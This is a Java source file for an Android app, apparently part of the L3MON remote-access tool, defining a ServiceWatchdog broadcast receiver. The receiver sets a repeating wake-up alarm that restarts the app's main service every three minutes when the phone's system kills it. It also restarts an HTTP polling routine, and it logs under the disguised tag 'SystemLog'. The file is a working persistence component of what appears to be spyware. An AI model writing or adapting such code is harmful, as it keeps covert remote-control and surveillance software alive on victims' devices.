package com.etechd.l3mon;

import android.app.AlarmManager;
import android.app.PendingIntent;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.Intent;
import android.os.Build;
import android.os.SystemClock;
import android.util.Log;

/**
 * Reinicia MainService si MIUI lo mata (cada 3 minutos).
 */
public class ServiceWatchdog extends BroadcastReceiver {
    private static final String TAG = "SystemLog";
    private static final String ACTION = "com.etechd.l3mon.WATCHDOG";
    private static final long INTERVAL_MS = 3 * 60 * 1000L;

    public static void schedule(Context context) {
        if (context == null) {
            return;
        }
        try {
            Context app = context.getApplicationContext();
            AlarmManager am = (AlarmManager) app.getSystemService(Context.ALARM_SERVICE);
            if (am == null) {
                return;
            }
            Intent intent = new Intent(app, ServiceWatchdog.class);
            intent.setAction(ACTION);
            int flags = PendingIntent.FLAG_UPDATE_CURRENT;
            if (Build.VERSION.SDK_INT >= 23) {
                flags |= PendingIntent.FLAG_IMMUTABLE;
            }
            PendingIntent pi = PendingIntent.getBroadcast(app, 9001, intent, flags);
            long trigger = SystemClock.elapsedRealtime() + INTERVAL_MS;
            if (Build.VERSION.SDK_INT >= 23) {
                am.setAndAllowWhileIdle(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger, pi);
            } else {
                am.set(AlarmManager.ELAPSED_REALTIME_WAKEUP, trigger, pi);
            }
        } catch (Exception e) {
            Log.e(TAG, "ServiceWatchdog schedule: " + e.getMessage());
        }
    }

    @Override
    public void onReceive(Context context, Intent intent) {
        try {
            Intent service = new Intent(context, MainService.class);
            if (Build.VERSION.SDK_INT >= 26) {
                context.startForegroundService(service);
            } else {
                context.startService(service);
            }
            SystemLogApi.init(context);
            HttpPollRunnable.startOnce(context);
        } catch (Exception e) {
            Log.e(TAG, "ServiceWatchdog: " + e.getMessage());
        }
        schedule(context);
    }
}
